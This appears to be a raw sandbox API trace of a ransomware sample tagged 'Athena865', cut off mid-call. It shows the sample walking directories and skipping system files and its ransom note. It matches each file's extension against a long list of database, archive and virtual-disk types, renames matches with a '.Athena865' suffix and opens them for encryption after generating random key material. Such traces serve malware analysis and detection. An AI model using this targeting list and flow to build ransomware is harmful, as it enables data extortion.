[0132.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.549] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.549] CloseHandle (hObject=0x154) returned 1 [0132.549] CloseHandle (hObject=0x17c) returned 1 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.550] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2=".") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="..") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="windows") returned -1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="bootmgr") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="temp") returned -1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="pagefile.sys") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="boot") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ids.txt") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="ntuser.dat") returned 1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="perflogs") returned -1 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2="MSBuild") returned 1 [0132.550] lstrlenW (lpString="PARNT_02.MID") returned 12 [0132.550] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_02.MID" | out: lpString1="PARNT_02.MID") returned="PARNT_02.MID" [0132.550] lstrlenW (lpString="PARNT_02.MID") returned 12 [0132.550] lstrlenW (lpString="Athena865") returned 9 [0132.550] lstrcmpiW (lpString1="NT_02.MID", lpString2="Athena865") returned 1 [0132.550] lstrlenW (lpString=".dll") returned 4 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2=".dll") returned 1 [0132.550] lstrlenW (lpString=".lnk") returned 4 [0132.550] lstrcmpiW (lpString1="PARNT_02.MID", lpString2=".lnk") returned 1 [0132.551] lstrlenW (lpString=".ini") returned 4 [0132.551] lstrcmpiW (lpString1="PARNT_02.MID", lpString2=".ini") returned 1 [0132.551] lstrlenW (lpString=".sys") returned 4 [0132.551] lstrcmpiW (lpString1="PARNT_02.MID", lpString2=".sys") returned 1 [0132.551] lstrlenW (lpString="PARNT_02.MID") returned 12 [0132.551] lstrlenW (lpString="bak") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="bak") returned 1 [0132.551] lstrlenW (lpString="ba_") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="ba_") returned 1 [0132.551] lstrlenW (lpString="dbb") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="dbb") returned 1 [0132.551] lstrlenW (lpString="vmdk") returned 4 [0132.551] lstrcmpiW (lpString1=".MID", lpString2="vmdk") returned -1 [0132.551] lstrlenW (lpString="rar") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="rar") returned -1 [0132.551] lstrlenW (lpString="zip") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="zip") returned -1 [0132.551] lstrlenW (lpString="tgz") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="tgz") returned -1 [0132.551] lstrlenW (lpString="vbox") returned 4 [0132.551] lstrcmpiW (lpString1=".MID", lpString2="vbox") returned -1 [0132.551] lstrlenW (lpString="vdi") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="vdi") returned -1 [0132.551] lstrlenW (lpString="vhd") returned 3 [0132.551] lstrcmpiW (lpString1="MID", lpString2="vhd") returned -1 [0132.551] lstrlenW (lpString="vhdx") returned 4 [0132.551] lstrcmpiW (lpString1=".MID", lpString2="vhdx") returned -1 [0132.551] lstrlenW (lpString="avhd") returned 4 [0132.552] lstrcmpiW (lpString1=".MID", lpString2="avhd") returned -1 [0132.552] lstrlenW (lpString="db") returned 2 [0132.552] lstrcmpiW (lpString1="ID", lpString2="db") returned 1 [0132.552] lstrlenW (lpString="db2") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="db2") returned 1 [0132.552] lstrlenW (lpString="db3") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="db3") returned 1 [0132.552] lstrlenW (lpString="dbf") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="dbf") returned 1 [0132.552] lstrlenW (lpString="mdf") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="mdf") returned 1 [0132.552] lstrlenW (lpString="mdb") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="mdb") returned 1 [0132.552] lstrlenW (lpString="sql") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="sql") returned -1 [0132.552] lstrlenW (lpString="sqlite") returned 6 [0132.552] lstrcmpiW (lpString1="02.MID", lpString2="sqlite") returned -1 [0132.552] lstrlenW (lpString="sqlite3") returned 7 [0132.552] lstrcmpiW (lpString1="_02.MID", lpString2="sqlite3") returned -1 [0132.552] lstrlenW (lpString="sqlitedb") returned 8 [0132.552] lstrcmpiW (lpString1="T_02.MID", lpString2="sqlitedb") returned 1 [0132.552] lstrlenW (lpString="xml") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="xml") returned -1 [0132.552] lstrlenW (lpString="$er") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="$er") returned 1 [0132.552] lstrlenW (lpString="4dd") returned 3 [0132.552] lstrcmpiW (lpString1="MID", lpString2="4dd") returned 1 [0132.553] lstrlenW (lpString="4dl") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="4dl") returned 1 [0132.553] lstrlenW (lpString="^^^") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="^^^") returned 1 [0132.553] lstrlenW (lpString="abs") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="abs") returned 1 [0132.553] lstrlenW (lpString="abx") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="abx") returned 1 [0132.553] lstrlenW (lpString="accdb") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accdb") returned -1 [0132.553] lstrlenW (lpString="accdc") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accdc") returned -1 [0132.553] lstrlenW (lpString="accde") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accde") returned -1 [0132.553] lstrlenW (lpString="accdr") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accdr") returned -1 [0132.553] lstrlenW (lpString="accdt") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accdt") returned -1 [0132.553] lstrlenW (lpString="accdw") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accdw") returned -1 [0132.553] lstrlenW (lpString="accft") returned 5 [0132.553] lstrcmpiW (lpString1="2.MID", lpString2="accft") returned -1 [0132.553] lstrlenW (lpString="adb") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.553] lstrlenW (lpString="adb") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.553] lstrlenW (lpString="ade") returned 3 [0132.553] lstrcmpiW (lpString1="MID", lpString2="ade") returned 1 [0132.554] lstrlenW (lpString="adf") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="adf") returned 1 [0132.554] lstrlenW (lpString="adn") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="adn") returned 1 [0132.554] lstrlenW (lpString="adp") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="adp") returned 1 [0132.554] lstrlenW (lpString="alf") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="alf") returned 1 [0132.554] lstrlenW (lpString="ask") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="ask") returned 1 [0132.554] lstrlenW (lpString="btr") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="btr") returned 1 [0132.554] lstrlenW (lpString="cat") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="cat") returned 1 [0132.554] lstrlenW (lpString="cdb") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="cdb") returned 1 [0132.554] lstrlenW (lpString="ckp") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="ckp") returned 1 [0132.554] lstrlenW (lpString="cma") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="cma") returned 1 [0132.554] lstrlenW (lpString="cpd") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="cpd") returned 1 [0132.554] lstrlenW (lpString="dacpac") returned 6 [0132.554] lstrcmpiW (lpString1="02.MID", lpString2="dacpac") returned -1 [0132.554] lstrlenW (lpString="dad") returned 3 [0132.554] lstrcmpiW (lpString1="MID", lpString2="dad") returned 1 [0132.554] lstrlenW (lpString="dadiagrams") returned 10 [0132.555] lstrcmpiW (lpString1="RNT_02.MID", lpString2="dadiagrams") returned 1 [0132.555] lstrlenW (lpString="daschema") returned 8 [0132.555] lstrcmpiW (lpString1="T_02.MID", lpString2="daschema") returned 1 [0132.555] lstrlenW (lpString="db-journal") returned 10 [0132.555] lstrcmpiW (lpString1="RNT_02.MID", lpString2="db-journal") returned 1 [0132.555] lstrlenW (lpString="db-shm") returned 6 [0132.555] lstrcmpiW (lpString1="02.MID", lpString2="db-shm") returned -1 [0132.555] lstrlenW (lpString="db-wal") returned 6 [0132.555] lstrcmpiW (lpString1="02.MID", lpString2="db-wal") returned -1 [0132.555] lstrlenW (lpString="dbc") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dbc") returned 1 [0132.555] lstrlenW (lpString="dbs") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dbs") returned 1 [0132.555] lstrlenW (lpString="dbt") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dbt") returned 1 [0132.555] lstrlenW (lpString="dbv") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dbv") returned 1 [0132.555] lstrlenW (lpString="dbx") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dbx") returned 1 [0132.555] lstrlenW (lpString="dcb") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dcb") returned 1 [0132.555] lstrlenW (lpString="dct") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dct") returned 1 [0132.555] lstrlenW (lpString="dcx") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="dcx") returned 1 [0132.555] lstrlenW (lpString="ddl") returned 3 [0132.555] lstrcmpiW (lpString1="MID", lpString2="ddl") returned 1 [0132.555] lstrlenW (lpString="dlis") returned 4 [0132.556] lstrcmpiW (lpString1=".MID", lpString2="dlis") returned -1 [0132.556] lstrlenW (lpString="dp1") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="dp1") returned 1 [0132.556] lstrlenW (lpString="dqy") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="dqy") returned 1 [0132.556] lstrlenW (lpString="dsk") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="dsk") returned 1 [0132.556] lstrlenW (lpString="dsn") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="dsn") returned 1 [0132.556] lstrlenW (lpString="dtsx") returned 4 [0132.556] lstrcmpiW (lpString1=".MID", lpString2="dtsx") returned -1 [0132.556] lstrlenW (lpString="dxl") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="dxl") returned 1 [0132.556] lstrlenW (lpString="eco") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="eco") returned 1 [0132.556] lstrlenW (lpString="ecx") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="ecx") returned 1 [0132.556] lstrlenW (lpString="edb") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="edb") returned 1 [0132.556] lstrlenW (lpString="epim") returned 4 [0132.556] lstrcmpiW (lpString1=".MID", lpString2="epim") returned -1 [0132.556] lstrlenW (lpString="fcd") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="fcd") returned 1 [0132.556] lstrlenW (lpString="fdb") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="fdb") returned 1 [0132.556] lstrlenW (lpString="fic") returned 3 [0132.556] lstrcmpiW (lpString1="MID", lpString2="fic") returned 1 [0132.556] lstrlenW (lpString="flexolibrary") returned 12 [0132.557] lstrlenW (lpString="fm5") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fm5") returned 1 [0132.557] lstrlenW (lpString="fmp") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fmp") returned 1 [0132.557] lstrlenW (lpString="fmp12") returned 5 [0132.557] lstrcmpiW (lpString1="2.MID", lpString2="fmp12") returned -1 [0132.557] lstrlenW (lpString="fmpsl") returned 5 [0132.557] lstrcmpiW (lpString1="2.MID", lpString2="fmpsl") returned -1 [0132.557] lstrlenW (lpString="fol") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fol") returned 1 [0132.557] lstrlenW (lpString="fp3") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fp3") returned 1 [0132.557] lstrlenW (lpString="fp4") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fp4") returned 1 [0132.557] lstrlenW (lpString="fp5") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fp5") returned 1 [0132.557] lstrlenW (lpString="fp7") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fp7") returned 1 [0132.557] lstrlenW (lpString="fpt") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="fpt") returned 1 [0132.557] lstrlenW (lpString="frm") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="frm") returned 1 [0132.557] lstrlenW (lpString="gdb") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="gdb") returned 1 [0132.557] lstrlenW (lpString="gdb") returned 3 [0132.557] lstrcmpiW (lpString1="MID", lpString2="gdb") returned 1 [0132.557] lstrlenW (lpString="grdb") returned 4 [0132.557] lstrcmpiW (lpString1=".MID", lpString2="grdb") returned -1 [0132.557] lstrlenW (lpString="gwi") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="gwi") returned 1 [0132.558] lstrlenW (lpString="hdb") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="hdb") returned 1 [0132.558] lstrlenW (lpString="his") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="his") returned 1 [0132.558] lstrlenW (lpString="ib") returned 2 [0132.558] lstrcmpiW (lpString1="ID", lpString2="ib") returned 1 [0132.558] lstrlenW (lpString="idb") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="idb") returned 1 [0132.558] lstrlenW (lpString="ihx") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="ihx") returned 1 [0132.558] lstrlenW (lpString="itdb") returned 4 [0132.558] lstrcmpiW (lpString1=".MID", lpString2="itdb") returned -1 [0132.558] lstrlenW (lpString="itw") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="itw") returned 1 [0132.558] lstrlenW (lpString="jet") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="jet") returned 1 [0132.558] lstrlenW (lpString="jtx") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="jtx") returned 1 [0132.558] lstrlenW (lpString="kdb") returned 3 [0132.558] lstrcmpiW (lpString1="MID", lpString2="kdb") returned 1 [0132.558] lstrlenW (lpString="kexi") returned 4 [0132.558] lstrcmpiW (lpString1=".MID", lpString2="kexi") returned -1 [0132.558] lstrlenW (lpString="kexic") returned 5 [0132.558] lstrcmpiW (lpString1="2.MID", lpString2="kexic") returned -1 [0132.558] lstrlenW (lpString="kexis") returned 5 [0132.558] lstrcmpiW (lpString1="2.MID", lpString2="kexis") returned -1 [0132.558] lstrlenW (lpString="lgc") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="lgc") returned 1 [0132.559] lstrlenW (lpString="lwx") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="lwx") returned 1 [0132.559] lstrlenW (lpString="maf") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="maf") returned 1 [0132.559] lstrlenW (lpString="maq") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="maq") returned 1 [0132.559] lstrlenW (lpString="mar") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mar") returned 1 [0132.559] lstrlenW (lpString="marshal") returned 7 [0132.559] lstrcmpiW (lpString1="_02.MID", lpString2="marshal") returned -1 [0132.559] lstrlenW (lpString="mas") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mas") returned 1 [0132.559] lstrlenW (lpString="mav") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mav") returned 1 [0132.559] lstrlenW (lpString="maw") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="maw") returned 1 [0132.559] lstrlenW (lpString="mdbhtml") returned 7 [0132.559] lstrcmpiW (lpString1="_02.MID", lpString2="mdbhtml") returned -1 [0132.559] lstrlenW (lpString="mdn") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mdn") returned 1 [0132.559] lstrlenW (lpString="mdt") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mdt") returned 1 [0132.559] lstrlenW (lpString="mfd") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mfd") returned 1 [0132.559] lstrlenW (lpString="mpd") returned 3 [0132.559] lstrcmpiW (lpString1="MID", lpString2="mpd") returned -1 [0132.559] lstrlenW (lpString="mrg") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="mrg") returned -1 [0132.560] lstrlenW (lpString="mud") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="mud") returned -1 [0132.560] lstrlenW (lpString="mwb") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="mwb") returned -1 [0132.560] lstrlenW (lpString="myd") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="myd") returned -1 [0132.560] lstrlenW (lpString="ndf") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="ndf") returned -1 [0132.560] lstrlenW (lpString="nnt") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="nnt") returned -1 [0132.560] lstrlenW (lpString="nrmlib") returned 6 [0132.560] lstrcmpiW (lpString1="02.MID", lpString2="nrmlib") returned -1 [0132.560] lstrlenW (lpString="ns2") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="ns2") returned -1 [0132.560] lstrlenW (lpString="ns3") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="ns3") returned -1 [0132.560] lstrlenW (lpString="ns4") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="ns4") returned -1 [0132.560] lstrlenW (lpString="nsf") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="nsf") returned -1 [0132.560] lstrlenW (lpString="nv") returned 2 [0132.560] lstrcmpiW (lpString1="ID", lpString2="nv") returned -1 [0132.560] lstrlenW (lpString="nv2") returned 3 [0132.560] lstrcmpiW (lpString1="MID", lpString2="nv2") returned -1 [0132.560] lstrlenW (lpString="nwdb") returned 4 [0132.560] lstrcmpiW (lpString1=".MID", lpString2="nwdb") returned -1 [0132.560] lstrlenW (lpString="nyf") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="nyf") returned -1 [0132.561] lstrlenW (lpString="odb") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="odb") returned -1 [0132.561] lstrlenW (lpString="odb") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="odb") returned -1 [0132.561] lstrlenW (lpString="oqy") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="oqy") returned -1 [0132.561] lstrlenW (lpString="ora") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="ora") returned -1 [0132.561] lstrlenW (lpString="orx") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="orx") returned -1 [0132.561] lstrlenW (lpString="owc") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="owc") returned -1 [0132.561] lstrlenW (lpString="p96") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="p96") returned -1 [0132.561] lstrlenW (lpString="p97") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="p97") returned -1 [0132.561] lstrlenW (lpString="pan") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="pan") returned -1 [0132.561] lstrlenW (lpString="pdb") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="pdb") returned -1 [0132.561] lstrlenW (lpString="pdm") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="pdm") returned -1 [0132.561] lstrlenW (lpString="pnz") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="pnz") returned -1 [0132.561] lstrlenW (lpString="qry") returned 3 [0132.561] lstrcmpiW (lpString1="MID", lpString2="qry") returned -1 [0132.561] lstrlenW (lpString="qvd") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="qvd") returned -1 [0132.562] lstrlenW (lpString="rbf") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="rbf") returned -1 [0132.562] lstrlenW (lpString="rctd") returned 4 [0132.562] lstrcmpiW (lpString1=".MID", lpString2="rctd") returned -1 [0132.562] lstrlenW (lpString="rod") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="rod") returned -1 [0132.562] lstrlenW (lpString="rodx") returned 4 [0132.562] lstrcmpiW (lpString1=".MID", lpString2="rodx") returned -1 [0132.562] lstrlenW (lpString="rpd") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="rpd") returned -1 [0132.562] lstrlenW (lpString="rsd") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="rsd") returned -1 [0132.562] lstrlenW (lpString="sas7bdat") returned 8 [0132.562] lstrcmpiW (lpString1="T_02.MID", lpString2="sas7bdat") returned 1 [0132.562] lstrlenW (lpString="sbf") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="sbf") returned -1 [0132.562] lstrlenW (lpString="scx") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="scx") returned -1 [0132.562] lstrlenW (lpString="sdb") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="sdb") returned -1 [0132.562] lstrlenW (lpString="sdc") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="sdc") returned -1 [0132.562] lstrlenW (lpString="sdf") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="sdf") returned -1 [0132.562] lstrlenW (lpString="sis") returned 3 [0132.562] lstrcmpiW (lpString1="MID", lpString2="sis") returned -1 [0132.562] lstrlenW (lpString="spq") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="spq") returned -1 [0132.563] lstrlenW (lpString="te") returned 2 [0132.563] lstrcmpiW (lpString1="ID", lpString2="te") returned -1 [0132.563] lstrlenW (lpString="teacher") returned 7 [0132.563] lstrcmpiW (lpString1="_02.MID", lpString2="teacher") returned -1 [0132.563] lstrlenW (lpString="tmd") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="tmd") returned -1 [0132.563] lstrlenW (lpString="tps") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="tps") returned -1 [0132.563] lstrlenW (lpString="trc") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="trc") returned -1 [0132.563] lstrlenW (lpString="trc") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="trc") returned -1 [0132.563] lstrlenW (lpString="trm") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="trm") returned -1 [0132.563] lstrlenW (lpString="udb") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="udb") returned -1 [0132.563] lstrlenW (lpString="udl") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="udl") returned -1 [0132.563] lstrlenW (lpString="usr") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="usr") returned -1 [0132.563] lstrlenW (lpString="v12") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="v12") returned -1 [0132.563] lstrlenW (lpString="vis") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="vis") returned -1 [0132.563] lstrlenW (lpString="vpd") returned 3 [0132.563] lstrcmpiW (lpString1="MID", lpString2="vpd") returned -1 [0132.563] lstrlenW (lpString="vvv") returned 3 [0132.564] lstrcmpiW (lpString1="MID", lpString2="vvv") returned -1 [0132.564] lstrlenW (lpString="wdb") returned 3 [0132.564] lstrcmpiW (lpString1="MID", lpString2="wdb") returned -1 [0132.564] lstrlenW (lpString="wmdb") returned 4 [0132.564] lstrcmpiW (lpString1=".MID", lpString2="wmdb") returned -1 [0132.564] lstrlenW (lpString="wrk") returned 3 [0132.564] lstrcmpiW (lpString1="MID", lpString2="wrk") returned -1 [0132.564] lstrlenW (lpString="xdb") returned 3 [0132.564] lstrcmpiW (lpString1="MID", lpString2="xdb") returned -1 [0132.564] lstrlenW (lpString="xld") returned 3 [0132.564] lstrcmpiW (lpString1="MID", lpString2="xld") returned -1 [0132.564] lstrlenW (lpString="xmlff") returned 5 [0132.564] lstrcmpiW (lpString1="2.MID", lpString2="xmlff") returned -1 [0132.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.Athena865") returned 73 [0132.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.athena865"), dwFlags=0x1) returned 1 [0132.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5714) returned 1 [0132.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.567] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.567] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.567] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1960, lpName=0x0) returned 0x154 [0132.573] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, 